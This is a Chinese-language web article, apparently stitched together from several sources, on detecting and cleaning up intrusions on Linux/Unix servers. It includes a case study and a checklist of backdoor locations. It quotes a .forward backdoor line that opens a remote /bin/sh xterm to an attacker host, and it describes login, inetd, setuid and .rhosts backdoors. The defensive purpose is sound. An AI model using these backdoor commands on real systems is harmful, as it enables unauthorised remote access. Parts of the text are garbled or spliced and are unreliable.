因为服务器中毒之后被别人拿去利用,常见的就是拿去当肉鸡攻击别人。另外的就是拿你的数据之类的。所以服务器带宽方面需要注意下,如果服务器出去的带宽跑很高,那肯定有些异常,需要及时检查一下
2
二、系统里会产生多余的不明的用户
中毒或者被入侵之后会导致系统里产生一些不明用户或者登陆日志,所以这方面的检查也是可以看出一些异常的。
3
三、开机是否启动一些不明服务和crond任务里是否有一些来历不明的任务?
因为中毒会随系统的启动而启动的,所以一般会开机启动,检查一下启动的服务或者文件是否有异常,一般会在/etc/rclocal 和 crondtab -l 显示出来。所以要注意检查一下,以上三点都是比较常见的特征,还会有些不明显的特征需要留意下。
END
实例讲解中毒的Linux系统解决过程
1
在工作中碰到一次客户反馈系统经常卡,而且有时候远程连接不上。于是我就跟进这位客户,从本地以及远程检查一下他的系统,他也发现有不明的系统进程。我脑子里初步判断就是可能中毒了。
2
首先,我在监控里检查一下这服务器的带宽,发现服务器出去的带宽跑很高,所以才会导致他远程不上的,这是一个原因。为什么服务器出去的带宽这么高且超出了开通的带宽值?这个原因只能进入服务器系统里检查了。
3
其次,我向客户询问了系统的账号密码,远程进入系统里检查了下,也看到了客户所说的不明进程。 ps -aux 命令可以查看到 ,客户反馈不是他的游戏进程,然后我使用命令进行关闭。
4
再接着,我检查一下开机启动项 chkconfig --list | grep 3:on
服务器启动级别是3的,我检查一下了开机启动项,没有特别明显的服务。然后检查了一下开机启动的一个文件,more /etc/rclocal
看到这个文件里被添加了很多项,询问客户,并非是他添加的,所以我也注释了它。如下图
5
在远程的时候,我觉得还是有些卡,检查了一下系统的计划任务crond,使用crondtab -l 命令进行查看,看到很多注释行,再认真查看,也有添加的计划任务与/etc/rclocal的内容差不多。如下图,不是显示全部
与客户沟通,也不是客户添加的,客户说他也不会这些。所以后来我备份了一个这个内容,就删除了,然后停止crond任务,并chkconfig crond off 禁用它开机启动。
6
最后为了彻底清除危害,我检查了一下系统的登陆日志,看到除了root用户还有其它的用户登陆过。检查了一下/etc/passwd ,看到有不明的用户,询问客户并非他添加,然后使用
usermod -L XXX 禁用这些用户。 然后更新了下系统的复杂密码,然后通知客户。附一些相关
END
如何保障linux系统的安全
一、从以上碰到的实例来分析,密码太简单是一个错
用户名默认,密码太简单是最容易被入侵的对象,所以切忌不要使用太过于简单的密码,先前碰到的那位客户就是使用了太简单的且规则的密码 1q2w3e4r5t, 这种密码在扫描的软件里是通用的,所以很容易被别人扫描出来的。
2
二、不要使用默认的远程端口,避免被扫描到
扫描的人都是根据端口扫描,然后再进行密码扫描,默认的端口往往就是扫描器的对象,他们扫描一个大的IP 段,哪些开放22端口的认为是ssh服务的linux系统,所以才会猜这机器的密码。更改远程端口也是安全的一个措施
3
三、使用一些安全策略进行保护系统开放的端口
可以使用到iptables或者简单的文件安全配置 /etc/hostsdeny 、/etc/hostsallow等文件进行配置。经常维护也是必须的我们只要到C:Documents and Settings这个目录下看看是否有可以的用户名就可以了,不管是不是隐藏的用户,都会在这里显示出来。 2、有些入侵者喜欢留一个有高权限的sqlserver数据库用户,当作后门,我们可以打开登陆sqlserver的查询分析器,然后依次打开master--系统表--dbosysxlogins(sqlserver2000下,sql2005和2008下,小王没找到如何查看数据库用户的方法,如果您知道请指点),在这个窗口的name列中可以看到sqlserver数据库的用户,一般情况下会有3个用户,一个是sa,一个BUILTINAdministrators,还有一个是NULL,如果还存在其他用户,就有可能是被人入侵了或者是我上面讲的那些情况,就需要注意点了,当然不一定就那三个用户,小王还见过name下有多个sa和NULL的,但不知道是怎么回事,具体问题还需要具体分析。网站服务器是否遭到侵略也可以终究靠以下几个过程进行承认:
第一步:查看体系组及用户。假设发现administrators组内增加一个admin$或相类似的用户,或许性你的网站就已遭到了侵略;
第二步:查看管理员账户是否存在反常的登录和刊出记载
挑选一切体系登录日记及体系刊出日记,并具体查看其登录ip,核实该ip是否为常用的管理员登录ip;
第三步:查看服务器是否存在反常启动项
上面三个过程任何一个过程呈现了反常都有或许是因为服务器遭到了侵略。
网站服务器遭受侵略应该怎么处理
1暂时封闭网站
网站被侵略之后,最常见的状况便是被植入木马,为了确保访问者的安全,一般都要把网站暂时封闭。在封闭过程中可以把域名暂时转到别的一个网站或许一个告诉页面。
2剖析网站受损程度
有些黑客侵略了网站之后会把一切的网站数据都清空,假设有数据备份的站点可以终究靠数据备份康复网站数据,假设没有备份的则需要请专业硬盘数据康复公司进行数据康复。假设网站的页面数据没有发生什么改变,则网站或许仅仅是被挂马了,可以终究靠第三四个过程消除影响。
3检测缝隙并打补丁
数据康复之后一定要扫描网站的缝隙并进行打补丁处理。一般的网站程序官方都会定时推出相关的补丁文件,只要把文件上传到服务器并掩盖之即可。
4木马病毒铲除
木马病毒可以终究靠专业的杀毒软件进行查杀。在这里必需要分外留意的是,有时候有些正常的文件都会被误判为病毒,这样一个时间段就需要用户自己细心辨认之了。
5常常备份数据
重要的数据经常备份
6建议可以联署一些防入侵,篡改的防护产品
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
1
awk –F:’==0 {print }’ /etc/passwd
顺便再检查一下系统里有没有空口令帐户:
1
awk –F: ‘length()==0 {print }’ /etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps –aef | grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps –aef 查看输出信息,尤其注意有没有以/xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetdconf文件,输入:cat /etc/inetdconf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换inxxx程序来创建一个后门,比如用/bin/sh 替换掉intelnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。
5、检查系统日志
命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。
7、rhosts和forward
这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:
find / -name “rhosts” –print
find / -name “forward” –print
在某用户的$HOME下,rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
看到这里如果想要深入的做安全加固服务以及安全部署
就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。
Unix下在forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的forward可能设置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksysotherdom:00 –e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases) 注意这只是一种简单的变换 更为高级的能够从forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后)利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln -s /var/mail/luser ~/forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/forwardBACKUP中。
直接删除掉这两个文件也可以。
8、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetdconf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/intelnetd intelnetd
可以看到它所使用的文件是 /usr/sbin/intelnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rcd下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。
9、检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)